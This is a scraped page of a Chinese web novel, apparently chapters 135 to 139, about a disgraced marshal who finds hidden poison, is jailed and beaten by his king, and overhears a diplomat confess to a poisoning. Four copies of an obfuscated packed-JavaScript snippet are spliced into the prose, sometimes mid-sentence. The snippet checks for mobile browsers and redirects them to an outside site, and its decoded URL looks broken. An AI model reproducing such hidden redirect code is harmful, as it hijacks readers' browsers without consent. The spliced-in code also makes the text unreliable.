RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13377392|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,半天也没有下文。 “呃,借过。” “请过、” 杜光欧这才反应过来似的,给闻人佐让出一条路,动作莫明有些局促。突然,嘭的一声,他撞在了门框上,发出一声有些空荡的巨响。 “小心。”燕戎真在旁嘱咐了一声。 血皑人往后退了半步,手指抚摸着门框,有些疑惑地盯着那红木镶边的木框。 闻人佐听到那响声,也不禁起疑。他走上前,在与门框相连的墙壁上敲敲打打,咚咚,咚咚,他惊觉手下的回音不太对劲。 这面墙里有暗格。 闻人佐回神,叫住那半个身子都已经探出门外的外交官,朝他问道:“阁下,这里有什么?” 燕戎真退回身子,盯着闻人佐面前贴着墙纸的平滑墙壁,有些不解地道:“有什么……一面墙?” 闻人佐直言,“这里有个暗格。” 甾染人眨了眨眼,表情迷茫,像没想明白怎么回事似的。 闻人佐扶住墙壁,一手摸上自己的剑柄,想用冲击将它破开。但是,这是燕戎真的房间,外交官因为经常到访摄文,这间寝房已经被他买下了,算是他的私人财产。于是,闻人佐向对方征求道:“阁下,我可否凿开这面墙?” 一面墙而已,随时都能填补上,燕戎真并没有表示反对,“可以。” 得到了许可,闻人佐抽剑,剑柄对准了贴着浅色墙纸的墙壁,一经发力,薄薄的墙壁应声而碎。他拂开那些碍眼的碎块,伸手往里掏,探索了半晌,居然还真摸到了东西,手下的触感既硬又光滑。 他把那东西从暗格里掏出来,那是一个锃亮的陶罐,开口敞着,上面封着一层网布,里面装着厚厚一层白粉。 闻人佐端着它,问燕戎真,“这是什么?” 外交官的表情从刚才开始就很迷惑,他缓慢地摇头,“我不清楚。我都不知道这里有一个暗格。” 杜光欧朝闻人佐伸手,“能给我看看吗?” 闻人佐把陶罐递给了对方,杜光欧接过来,揭开盖在罐口的网布,在那里闻了闻,渐渐地,他表情变得有些阴沉,声音也冷硬起来,“这是毒粉。” 杜光欧把它倾斜着,开口对准其他人,似乎是为了让他们看清里面的东西,“有剧毒,能够对人体造成不可逆的损伤。根据投入量的多少以及混合物的成分,可以让人当场毙命,也可以让人在一到两日内毒发身亡。” 燕戎真在一旁懵懂地开口,“那和宴会上的毒,是同一种吗?” “是同一种。”杜光欧回答,淡定地把东西暂且放回暗格。 闻人佐有些意外,不光是因为这新的发现,也是因为杜光欧这幅十分熟知毒物的模样,更是因为他的淡然。 这种东西在房间的暗格中被发现,房间的主人难逃其咎。闻人佐没再对燕戎真问什么,只是吹了个口哨,召回了他的亲卫。一群人赶回来,将外交官的住处围得水泄不通。 “怎么会有这种东西……”燕戎真小声嘀咕着。亲卫再度出现在房间中中,燕戎真看了一眼,又有些无助地向大元帅投去视线,“元帅,我不知道——” 闻人佐审慎地盯着他们。 谁都看得出来,这两人关系很好。 该相信杜光欧的话吗?有没有可能这两人是一伙的? 136. 监牢1 在燕戎真的房间发现了毒物是无争的事实,所有的解释都是苍白的片面之词,当下唯一可以确定的只有双眼所见之物。 闻人佐的神情严肃,他捏紧了手里的剑柄,说道:“外交官阁下,您必须和我走一趟了。” 燕戎真有些绝望地张了张嘴,半晌却没说出什么话来。 “大元帅!”杜光欧依然在为燕戎真求情,“燕兄不可能投毒,你也知道的吧,摄文王是那么信任他,他不会——” 这时候,燕戎真伸手按住了杜光欧的肩膀,摇摇头,意思是不用再说。外交官叹息了一声,有些无奈地道:“这些年,我游荡在这些大城市之间,不扶持任何势力,也不支持任何一场战争,早就有人看我不顺眼了。这种栽赃的龌龊事,我也不是第一次遇见。” 闻人佐给了亲卫首领一个眼神,对方带着两人走上前来,默然地控制住了外交官。杜光欧想制止,却被几个亲卫拦住了。 面对逮捕,燕戎真没有反抗,只是不断摇头,像对什么很失望一般。 就这样,一群人熙熙攘攘地离开了贵宾楼。 闻人佐带走了燕戎真,将他暂时关在牢中,等待进一步的审问。 那之后,姜昆维听说了燕戎真入狱的事,火急火燎地来到了大牢。闻人佐带他下到地牢的第二层,囚犯的牢房在最深处。 他们来到那牢门之前,只见燕戎真笔挺地坐在床边,正在闭目养神。听到脚步声,燕戎真睁眼,见到是姜昆维亲自来探望,连忙站起来身来。 “摄文王。” 姜昆维一下子趴在那铁栅栏上,像刚得知了什么惊天动地的消息,情感充沛地问他,“外交官,这到底是怎么回事啊?!” 燕戎真俯首说道:“恐怕是被人陷害,是我太疏忽了。” 摄文王似是对外交官的话深信不疑,神情不忍,向闻人佐说道:“闻人!把这一阵子接近过外交官住所的瓦匠都抓起来,逐一严查!” “已经在办了。”闻人佐道。 姜昆扒着冰冷的铁栏,神色痛惜,“外交官,我不会让你蒙冤。很快我们就能查个水落石出,等抓到了凶手,我立刻叫人把你放出来!” 其实如果姜昆维想要放人,现在就能放。只不过,在外交官住所内发现了毒物的事已经散布了出去,各大臣和元老已经盯上了燕戎真,这个时候,姜昆维再想放人就难了。 简单和燕戎真了解了一番情况后,姜昆维再三向对方保证,一定很快就把他释放出来。 “我绝不会让小人得势!”姜昆维如此道,大手一挥,像当下就要去揪出那陷害友人的歹徒一样,说道,“闻人,我们走!” 闻人佐在前方领路,姜昆维则在后方跟着。 这间地牢位于摄文王庭边缘,所有不是因为暴力而被抓起来的重要囚犯都关押在这里。姜昆维不怎么来这个地方,但是闻人佐熟悉得很,他将太多人亲手押送进这个地牢里来了。 最近,摄文临近立国之日,姜昆维不希望闹得城内气氛太过压抑,对许多罪行严重者的行刑减免,也都没有押送进这个地牢中来,所以,他们所在的地下二层几乎全是空房。 地牢里的烛光十分地幽暗,他们绕了一大圈,来到楼梯处,一个尽忠职守的狱官站在廊道尽头,在摄文王的面前打起了十二分的精神,挺胸站得笔直。 一旁,离楼梯口最近的牢房门敞开着,里面没有人。闻人佐看到了,觉得奇怪,按理来说这些无人的监牢规定要保持闭门,于是朝楼梯口的狱官询问,“怎么不把门关上?” 他等待一个答复,但是,对方的模样支支吾吾。 闻人佐皱了皱眉,只觉得对方的神情不太对劲,他说道:“说话。” “别问了,是我让他敞开的。”姜昆维的声音在闻人佐背后传来,音色颇为散漫。 闻人佐回身,向自己的王投去询问的视线,“陛下,您有要关押的人?” “是。” “我去把他带进来。” “不用。”姜昆维说,盯着面前的闻人佐。在昏暗的地下室里,摄文王的表情也晦暗不明,“他就在这里。” 下一刻,闻人佐只看到对方抬起了一条腿,他还没有反应过来那是要干什么,那一脚一下子踹在了他的腹部。 “呃……!” 大元帅身穿轻甲,并未受到什么伤害。只是摄文王的动作实在突然,闻人佐来不及防备,身形被踹得往后一栽,头撞在铁栏上,脸侧刮出火辣的疼,又被门槛绊了一跤,最终摔进了那敞开的牢房里。 闻人佐抬起头来,近乎茫然地看着自己的陛下。而男人居高临下地看着他,背光的脸上看不出一丝温度,“闻人,我对你很失望。” 大元帅听到这句话,依然没有想明白是哪里出了问题,但还是跪正了姿势,垂下头颅,向他的王说道:“陛下,臣不知道自己哪里做错了。” 姜昆维没有立刻关上牢房门,就仿佛他知道,没有他的允许,即便牢房前没有人把守,闻人佐也不敢从这个敞开的房门中走出来。 姜昆维看着大元帅,近乎冷酷地说:“我把宴会的安危全都交给了你,然而却出了这么大的乱子,你就是这么办事的吗?” 闻人佐弄懂了姜昆维不悦的源头,他承认自己的罪过,“是我不周,没有对后厨检查彻底。” 他在外面的沙场上待久了,几乎没经历过这种事,孱弱无能者才会用毒,而在战场上,他们想要谁死,都是直接来真格的。 但是,现在不是抱怨这些的时候。闻人佐一再低下自己的头颅,希望王能明白他的诚意和内疚,平息他的怒火,“是臣下的失职,臣愿意领受责罚。” “闻人啊闻人,每次出事的时候,你都是这套说辞。”姜昆维说道,眉头皱成深壑,眼睛恼怒地眯起来,他奚落着面前匍匐在地的元帅,“你知道我不敢把你怎么样,是不是?你知道立国仪式就要开始了,我不想闹出什么乱子,更不可能让所有人仰仗的大元帅出什么意外,所以你才敢这么放肆,这么不用心地为我办事。要是宴会上也有你的妻女在场,你绝对不会这么粗心!” 闻人佐抬起头来,尽量以他最诚恳的视线看着姜昆维,“陛下,我绝对没有那么想过。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13389736|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我为您尽心尽力,绝不敢怠慢,只是我……愚钝,能力不足,一而再再而三让您失望,请您责罚我吧!” “你真以为我不敢把你怎么样吗!”姜昆维怒道,一脚把人又踹到地上。 “唔——”闻人佐的下巴遭到了一计猛踢,他整个人翻仰过去,嘴里传来酸涩的痛意。他尝到了腥甜的味道,感受到了独属于监狱里的那种潮湿的、死亡的气息。倒在地上缓了片刻,他一言不发地回到原处,依然跪在姜昆维的眼下。 摄文王哼了一声,往后退了两步,理了理自己的衣裳,捋顺有些炸开的头发,规整了一番因刚才的失控而凌乱的外表。 “我有时在想,你是不是把什么都忘了。”姜昆维边理着他金色卷曲的长发,边说道。 闻人佐垂着头,一言不发。 “我时不时回想起兄弟姐妹还在的时候,我们围坐在火炉前交谈,或者一同去角斗场观赛。可是那样美好的日子却因五年前的惨剧而戛然而止……”姜昆维用有些惆怅的声音说着,越是回忆,他的面庞便愈发地扭曲,最终,那痛恨的目光落在闻人佐的脸上。摄文王压低了声音、几乎是仇怨地问他,“闻人佐,你当时到底为什么要离开?” 闻人佐无言以对,只是更深地埋下自己的头颅。 姜昆维发出一声颤抖的吐息,像对闻人佐的沉默习以为常一般,他自顾自地说道:“那些记忆已经离我越来越远了,闻人……仅仅五年而已,我怎么会连他们的面庞也渐渐忘却了?” 姜昆维踱步到牢房的一侧,看着那凄冷阴暗的石壁,又道:“连作为他们亲人的我都是这样,你是不是也早已忘记了那天的弥天大恨?所以,这次就连护卫的小小职责都完成不好。” 听到这里,闻人佐第一次发出了声响,不过,那声音几乎是在牙齿的缝隙之间发出,“我从来不忘。” 姜昆维对他的话不置可否,只留下一个失望的背影,走出了牢房,朝牢狱外的狱官招招手,让人把房们彻底锁了起来。 闻人佐见姜昆维就这么要离开,站起来两三步上前,对男人的背影说道:“陛下,投毒者的身份还不明朗,至少容我调查清楚之后——” “不用你管了。”姜昆维的声音在楼梯间传来,背影也没入了黑暗的廊道之间,“给我在这里好好反思一个月。” 狱官护送姜昆维离开,地牢二层变得漆暗又寂静。闻人佐扒着铁栏杆,盯着空无一人的楼梯间,良久,才缓缓低下头,默然回到了阴冷的牢狱里侧。 他在铺着草垫的地面坐下来,只有一盏忽明忽暗的烛火陪伴着他,他伸手抹了一把自己的脸,刺痛提醒他脸颊上的划痕,摊开手掌,发现一抹鲜艳的红色擦在了上面。他的脸在流血,那是姜昆维的举动所致。 人们总是憧憬那金光四溢的摄文王,说他所去之处,一切都是一片光明。然而,闻人佐却看不到这样的景象,他每每望向王的身影,脑海里出现的就是五年前的惨剧。 昏暗的夜,遍地的血,和污垢交织在一起的金发,无身的头颅,扭曲的四肢。那是闻人佐的梦魇,多少年来,他都无法忘却。 137. 监牢2 那原本是一场寻常的家族宴会,先王姜阳与其夫人和五个孩子在一间温馨宽敞的居室团团围坐。先王的护卫因故调走,闻人佐率亲卫接手职责。 室内烛光灭了,原来是蜡烛燃尽。先王姜阳让闻人佐去取火,他便领命前往。储藏蜡烛的地方很远,他离开的间隔有些长,再回来时,打开那扇透出血腥之气的门,发现一众尸首铺陈在洗刷干净的毛地毯上,姜阳及其家属几乎全部遇难。 经调查,那日的惨剧是北方的刺客联盟曲蛊所为,那些袭击姜家的死士身上都印有黑色的蛇纹,那是曲蛊一只名叫“闵”的派系成员所带有的标志。 原本,摄文大元帅会因此被处死。惨剧发生的那天,先王的护卫全部身体抱恙,所以闻人佐以自己的亲卫取而代之,元老们认为这是他在暗中使计,通过这种方式将闵派的刺客混入其中,最终得以刺杀先王及其家室。 怀疑的呼声越来越高,终是将那权力曾不可一世的大元帅推上了处刑台。 那时,若不是几近惨死的姜昆维出面保住了他,闻人佐已经是一具受人唾弃的遗骸了。 直到现在,摄文人依然无法忘却五年前的惨剧,依然无法饶恕他。认定他是元凶的元老们就不用说了,大臣们也因为元老的看法而对闻人佐多有排挤,将军们借着这股浪潮瓜分了大元帅的兵权,而人民更是对他多有厌弃。全城上下,闻人佐找不到一个支持自己的人。 当下,闻人佐对自己的现状毫无怨言。的确,将先王护卫调走的人是他,去取蜡烛而给刺客留下可乘之机的人也是他,这无疑是他的罪孽,他接受随之而来的一切惩戒,哪怕是以命谢罪也无妨。 只是,在此身身陨之前,他还有一件事必须要做—— 三年前,他出兵剿灭了刺客联盟曲蛊,但是未能抓获袭击摄文王庭的那一只派系。那些闵派的刺客身有蛇纹,擅长聚众作战,而这样配合的方式在曲蛊并不常见,也正是因为如此,在最后那一次围剿战中,闻人佐只抓到了四五个甘愿打掩护的死士,剩下的闵派成员全部脱逃。 他没能抓到罪魁祸首,回到摄文,最后一只能够调用的兵权也被剥夺了,只剩下一些没上过战场的亲兵可用。 失败之后,他心有不甘,这些年一直在暗中打探闵派的踪迹。而最近,他从线人那里得知了一些消息,这帮阴魂不散的刺客回到了故土,经过了曲蛊旧地,但是没有停留。 这是他们在三年前的剿灭战后第一次露面,闻人佐直觉他们又要有什么动作了。 毫无疑问,结仇颇深的摄文一定在那些刺客的复仇名单上。进一步推测的话,说不定这次宴会上的投毒事件就有闵派刺客的手脚。 闻人佐不禁往最差的情况想。如果投毒真有闵派的参与,那就说明刺客已经离摄文王庭非常近了,或许就潜伏在他们身边…… 沙沙。 就在这时,牢房的角落发出了一种极其微小的声音。 闻人佐的耳朵很灵敏,早他的意识没有从回忆中跳脱出来之前,大脑就捕获了这个声音。 沙沙。 那声音再次响起来,离他很近。闻人佐警醒起来,猛然转身,看向那发出怪异声响的方向。 在那阴暗的角落里,有一双干净的靴子,靴子上面是笔直的裤管,再往上就尽数隐藏阴影里了。 怎么回事,牢房里有人?铁门都关上了,他进来之前也没看见这里有人,这人是哪来的? 闻人佐的背后出了冷汗,起身往后退了两步,强行镇定下来,问道:“什么人?” “唔。”角落里的人发出奇怪的声响,那是一个陌生男人的声音,“怎么就被你发现了。” 闻人佐想要看清对方的面容,可对方执意待在那片阴影之中,不肯露出自己的脸。 “出来。”闻人佐命令。 对方没有行动,只是说道:“你就当没看见我呗。” 闻人佐眉间皱成了沟壑,依旧问他,“你到底是什么人?” 男人所在的地方又传来沙沙声,闻人佐终于弄明白了,那是他挠头的声音。 对方如是说道:“我谁都不是。” “你在这里做什么?”闻人佐警惕地问道。 “就是来看看发生了什么。”那人如是说道。 “什么意思?”闻人佐不解。 但是,对方没有回答他的疑问,他往回收了收脚,整个身体都隐藏在了阴影之中,“你没事就好,我总是害怕姜昆维哪一天失手杀了你,那就太遗憾了。” 闻人佐皱眉,“什么?” 他没有得到回答。 闻人佐盯着那个角落,他的视野逐渐恢复清明,然而,就在这个过程中,一种诡异的震惊攀上了他的心尖。 那个角落,刚才男人所在的那个地方,居然什么都没有。 闻人佐摸过去,碰到了一堵墙,伸手,抓住了一捧空气。那里已经没有人了,他在黑暗的角落向四周探索,也没有发现通道之类的。 “怎么回事……”闻人佐愣在原地,困惑不解,开始怀疑刚才是不是自己产生的幻觉。 就在这时,牢房外又响起了一串脚步声。 脆弱的神经再度紧绷起来,闻人佐扭头往外面看去,阴暗的廊道里空空如也,脚步声的主人还没有走到他的牢房门前。 那脚步声很轻,又声声清脆。闻人佐缩在阴影之中,他不知道来人是谁,所以躲在暗中,盯着牢房外面烛光照亮的一隅。 脚步声临近了,一个身影从牢门的一侧出现,像个鬼影一般飘过过,而后从另一侧消失。 姜昆维屏息凝神,紧盯着那个一闪而过的身影。尽管廊道很黑,对方又只出现了一瞬间,可闻人佐的视力还是没有错过那人的一切特征,他认出了对方。 那是杜光欧。 看到他,闻人佐感觉到不解。杜光欧怎么会一个人来地牢?他一个外人,为什么会一个连陪同的狱官都没有,一个人就来到了这个关押重犯的地牢? 是谁让他进来的?还是说,是他自己进来的? 闻人佐想不明白,接连的怪事使他头脑阻塞。 杜光欧的脚步声穿透了这层牢房,闻人佐努力辨析着他前往的方向,只听他在尽头绕了一大圈,而后,来到了闻人佐牢房的背面。 闻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13410271|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人佐记得,那里关押的正是燕戎真。 杜光欧似乎停了下来,有交谈声隔着墙壁传来,不是很清晰。于是乎,闻人佐附耳在那厚重的石壁上,一心去听对面的响动。 先听到的燕戎真的话语声,他在向血皑的王室说话,“……摄文王会调查清楚是谁要陷害我,你最近也小心点。投毒的人不清楚到底是冲着谁去的,可能是摄文王,也可能是你我,不过,相信这件事很快就能水落石出。血皑的事先别急,现在摄文王可能没空理会,等我出去,我们再跟他——” “燕戎真。”突然,杜光欧的声音打断了外交官的话,“我们别装了吧。” 牢里静默了片刻,只听燕戎真问:“……什么?” “我说,我们别装了。”杜光欧说道,声音听上去不温不火,他的音色总是这般,缺少起伏,很好辨认,“我知道投毒的人是你。” 这话一出,隔墙的闻人佐却是一惊。 他说什么?燕戎真投毒? 为什么杜光欧会这么说,先前他不是还在为燕戎真说好话吗? 隔壁的牢房传来燕戎真的轻笑,男人道:“你在说什么呢,我怎么可能……” 这时,闻人佐听到一种怪异的声响,像是金属摩擦的产生的响动,紧接着是杜光欧的声音传来,“我刚才去你的房间,在你的行囊里发现了这个。搜查你的摄文人不知道这是什么,或许他们单纯以为这是一种无害的铁器,所以遗漏了过去。” 燕戎真没有回话。 “这种武器,只有黎军才会使用。”杜光欧说着,又是一声金属的碰撞声传来,“你想解释一下它是怎么来的吗?” 隔壁的牢房传来一阵脚步声,似乎牢里的燕戎真挪动了一下位置,声音在闻人佐听来变大了一些,“你把这种东西拿出来,我们也就没什么好说的了。” 杜光欧:“你还真是让我意外,燕戎真,我一直都以为你没什么问题。” “如果你真的觉得我没什么问题,就不会事后又去翻我的行囊。”燕戎真嗤笑着说道,“你从什么时候开始怀疑我的?” 杜光欧沉默了半晌,回答道:“最开始,从你在甾染第一次找上我,向我提出可以将我引荐给摄文王的时候。” “我露出什么破绽了?” “你无懈可击,一直都无懈可击。”杜光欧一顿,说道,“甚至连死亡都无法让你开口。” “我不记得你什么时候以死相逼试探我……所以他们说你拥有那种能力是真的。”燕戎真恍然悟出什么一般,小声地说道。他中间停顿了半晌,又发出那低沉嘲弄的笑声,“三番五次试探之后还是怀疑我,你疑心还真重啊。” “不,我只是直觉。” “嗯?” 牢房外的人似乎有些什么动作,闻人佐听到了一阵衣料和铁栏的摩擦声。 “因为我也是有亲兄弟的人。”杜光欧说,“我想,即便与兄长之间有关系不好的时候,我也绝对不会把屠刀递给父亲,就那么冷眼旁观父兄冲突,在一旁火上浇油。你不正常,燕戎真,你没有情义,也就不可能像你自己说的那样,是个什么追求和平的人。” 138. 监牢3 燕戎真沉默良久,突然一声嗤笑,“是,你说的没错,是我给你下的毒。现在你想怎么做?” 另一旁,闻人佐瞪大了眼睛。 他承认了!? 牢房对面,两人的交谈还在继续。 杜光欧问道:“是黎礼派你来的?” “无可奉告。” “给你的任务是什么?” “你觉得我会告诉你?” “我想也没那么容易。”杜光欧说完,静默了半晌。这个时候,闻人佐听到了一丝很细微的声响,像是某种木制的物品碰撞在一起。他对这个声音有些熟悉,于是紧闭眉头,试图回忆它的源头。 突然,一个画面在他的脑海中浮现,那是在那场宴会上的时候,他看到杜光欧在开关一个木匣,当时的声音就和现在的响动一模一样。 杜光欧的话语声在隔壁再次传来,“嗯……我知道了,原来如此。” “……什么?” “你想让我死在摄文,好给血皑进攻摄文的正当手段。”杜光欧如是说。 “……” “我进攻血皑,黎礼篡权。我到访甾染,黎礼占据甾染。颇有种指哪打哪的架势。只要稍微拨弄舆论而风向,就可以制造我和黎礼是一伙的传闻。确实,在外人看来,也不是没有这种可能性,毕竟,我是唯一在那血皑王城的浩劫中活下来的王室,说我其实和黎礼是一丘之貉,这个谎话并不难圆。”杜光欧道。 “你是怎么……”燕戎真的声音很压抑,加之穿透了墙壁,更显得低沉,“你又用了你那种能力……” “不过,给我投毒这件事,完全就是你个人的独断吧。”杜光欧道,“黎礼应该没有给你下这种命令,毕竟,她知道我是不死的。” 布料的摩擦声传来,燕戎真似乎在耸肩,“你看,任何一个人说自己是不死的,谁都会想要试探一番的,不是吗?” 杜光欧笑起来,音色冷寂,“那你知不知道,我的不死,是用身边人的性命换来的。燕戎真,是你害了你自己。” 燕戎真:“我倒没有这么悲观的宿命论。” “那你现在确实应该悲观一些,你已经没有未来了。”杜光欧道。 突然,咚的一声,什么东西撞在了铁栏上,发出巨大的声响。随之而来的,是燕戎真骤然高昂的声音,“杜光欧!向她投降吧。这世界上没有人是她的对手,她是那个命中注定的人!而你不懂这是什么意思。” “愚蠢的士兵往往会对自己君主的实力妄下定论。”杜光欧如是说。 燕戎真大笑着,说道:“不,你要是知道她的身份,你不会用君主这个字眼来形容她。她不屑于成为哪里的王侯,她的目标远比你以为的伟大。” 杜光欧:“这些话,你对那些死在她枪下的人去说。” “那些只是必要的牺牲。”燕戎真道:“让我们回到了一个古老的话题上,在一万人和一百万人的牺牲之间,你选择哪一个?” 回答他的,是杜光欧的沉默。 燕戎真说道:“你看,你不敢做出选择,你虽贵为王室,却没有一个合格王室的狠厉。但是她做得了这个选择,她敢这么做,而她也正在这么做,这就是她区别于你我的真正原因。” 杜光欧道:“你只是在美名化一个杀人不眨眼的暴君罢了,哪有一百万人的劫难需要一万人的牺牲去拯救?” 燕戎真的声音突然拔高,他像是某种布道之人,用字正腔圆的、震慑有力的声音说道:“看看你所处在的这片大地吧,杜光欧,睁开你的眼睛,看看它是什么样子的!在这样的土地之上,人们要如何生存下去?只有那个古老的王才能给我们希望,只有他的后代才能引领我们,再一次向这个世界的神明举起反抗的叛旗!” 突然,嘭一声巨响从隔壁传来,像是震耳欲聋的鼓声,整个牢笼都震颤起来。闻人佐缩回了脖子,他离墙壁太近了,那些声音沿着曲折的石壁,一路砸进了他的脑袋里。 对面的交谈声不再响起,好像有什么人倒在了地上。紧接着,脚步声远离了燕戎真的牢房。 闻人佐往阴影里缩了缩,听闻了那些谈话,他不认为这是个暴露自己的好时机。 杜光欧的脚步声远去又接近,他绕了一大圈,回到了这层地牢的楼梯口。 身影经过闻人佐的牢房,进来时是从左到右,离开时是从右到左。只是,这回他没有缓慢地、径直地走过去,而是停步在了大元帅的牢房门前。 闻人佐屏息凝神,靠在墙壁的阴影里,他不认为杜光欧能够看到自己,这个角落足够阴暗。 杜光欧转过头来,扫视着这间牢房,而后落在闻人佐所在的角落,他眉头微蹙,问道:“你以为我没有觉察到你吗?” 闻人佐一下子屏住了呼吸,没想到还是被对方发觉了。他脑海里飞速地思考该和这个血皑的王室如何对话,一边想要离开这个阴暗的角落。 可是,当他还没能做出什么动作、去光明正大面对这个血皑王室的时候,对面的人又开口了。 “你已经跟着我很久了,你到底是谁?” 闻人佐猛然僵住,停止了自己向外移动的动作,屏息盯着杜光欧,上下打量着他。 他不是在和自己说话,而是在对其他什么人说话? 杜光欧的视线投向廊道里的烛火,他停顿了半晌,说道:“我很确信你就在这里。从我去往甾染开始,你就一直跟在我的身后。你有什么目的?” 然而,回答他的,只有摇曳的烛火。 杜光欧又在原地待了一阵,这个过程中,没有任何人回答他的话。半晌,他再度移动脚步,向楼梯间走去,像是什么都没有发生过一样。 牢房又恢复了一片死寂。 闻人佐从角落里走出来,昏暗的火光影影绰绰,晃得他有种不真实的错觉。 从姜昆维离开到现在发生的一切都让他匪夷所思。先是那个突然在自己牢房里出现在男人,然后又是独自前往牢房的血皑人。他和燕戎真的那番谈话也有很多闻人佐无法理解的内容,燕戎真当真是下毒的人?杜光欧说自己是不死的是什么意思?燕戎真想杀他是为了将摄文引入一场外交漩涡吗?刚才那声巨响是怎么回事,燕戎真怎么了,为什么后来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13426835|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他一句话也不说了? 这些思绪在他脑海里纷扰,得不到答案。 又过了一阵,送姜昆维离开的狱官回来了,他点燃了廊道里那一排熄灭的烛火,整个地牢亮了起来。 “大元帅。”狱官趴在栏杆上,声音毕恭毕敬,“您需要什么的吗?我能给您弄进来。” “我没什么需要的。” “好……我就在楼梯口附近站岗,您有什么事,随时和我说。” 这个鲜有的对他客客气气的狱官离开了,没有就这次的事件说什么,仿佛姜昆维的动怒他早已习以为常。 这还是闻人佐第一次被关进大牢,这等屈辱以前从未有过。 地牢里很冷,每年这里都有病死的人。而闻人佐毫不怀疑,元老大臣们如果知道他在这里,肯定也会祈祷他在地牢里冻死,让他化作这牢狱的一块平地,最好再也不会醒来。 虽然所有人都唾弃他,但闻人佐还不能倒下,就算这个城市里的所有人都对他失去了信心,他也不能辞去大元帅的职位, 在捕获闵派的所有刺客之前,他必须坚守在这个位置上。 他倒在一无所有的木板床上,盯着空无的墙壁。 牢狱里的时间会很漫长。这样的日子,只有他和自己的内心作伴,那是最难熬的。 不知在牢房里度过了多少个日子,失去了日光的提醒,他开始分不清日出和日落的时间。失去了对时间的感知,不知道什么时候该睡去,什么时候该醒来,日子过得昏昏沉沉,连大脑也浆糊一片。 这几天,燕戎真那边的牢房一点动静也没有,大概是第二三天的时候,有几个人抬了一个木棺进来,在燕戎真的牢房里待了半晌,发出一阵响动,然后那伙人又把木棺安安静静地抬了出去。 那代表了什么,不必言明。 又过了一段日子,不知在哪一天,闻人佐坐在床上屏息凝神的时候,一阵嘈杂从外界传来。 “闻人佐——闻人佐!” 那是摄文王的呼唤声。 闻人佐从起身,站在了牢房门前,等待着姜昆维的到来。 “闻人!闻人——真是,还没到?我已经喊累了。这地牢这么大吗?我把他关在这么靠里的地方?” 急促的脚步声传来,咚咚咚咚,像有很多人一同在楼梯上跳舞一般。 闻人佐听到了姜昆维的质问,男人像是喝了酒忘了事,完全不记得自己曾经的行径。有微弱的声音回答姜昆维的问询,只是那人声音小,具体说了什么闻人佐就听不清了。 “你们就不知道换个地方关他?”姜昆维质问道。 男人的声音已经十分接近,转个角的功夫,那璀璨的一身——包括他的头发,他的发饰,他的长袍,他的长靴,那些只属于太阳的颜色——便出现在了这阴暗的廊道之中。 摄文王来到了大元帅的牢房门前,命狱官打开了房门。 “我的大元帅,我向你道歉。”姜昆维如是说,他张开双臂,像是在迎接他的回归,“之前是我太冲动了,我不该那么做!当时是气头上才会说那些话,你能原谅我吗?” 139. 妓院风流1 闻人佐站在原地,门虽已经敞开,但在得到姜昆维的许可之前,他没有往前走一步的权力,“我不敢对您置气,陛下。” “快,把汤拿过来。”姜昆维向侍者吩咐道,他亲自迈入了牢狱之中,像要恭请一个重要的友人,猛地抓住闻人佐的肩,晃了晃,而后揽着他走出来,“闻人,我果然还是只能仰仗你。” 狱官拿来了热汤,但闻人佐刚吃了牢饭没什么胃口,从暗处到光明的这两步路也晃得他有点反胃,但是,面前是摄文王的好意,他还是没有拒绝的权力。 汤只是热汤而已,没什么滋味。闻人佐边喝着,边听姜昆维在一旁说道:“我答应了那个杜光欧,要帮助他夺回血皑。我打算在五天后绝生幕的预选赛上给他一个答复,但是我左思右想,感觉行动处处都是壁垒,不好办啊。” 闻人佐听到这里,有了些眉目,摄文王这是要他给出一个大军的调动方案,具体应该出多少人手、出谁的人去帮杜光欧做事,“陛下是希望我给出一个提案?” 姜昆维道:“是!大元帅,承诺我已经给出去了,然而我自己却没有想到什么特别好的办法。怎么才能帮助一个落魄的王室重回他的故土?我们又怎么把这件事做得漂亮些,对我们的好处多一些?这些天我一直在愁这件事,哎呀,愁得我呀,几乎没怎么睡好觉。那些将军给我提的方案我听着都不靠谱,果然只有你的意见才能算得上是真正的意见。闻人,帮帮我,你快帮帮我。” 闻人佐敛下了眸子,说道:“陛下,为您分担忧愁是我的职责,但是,突然让我给出一个方案,我心中也没有什么头绪。” 姜昆维说道:“没事,你可以慢慢想,慢慢想。明天我找将军们一起开个会,在那之前你能想出一个好办法就不算迟。” 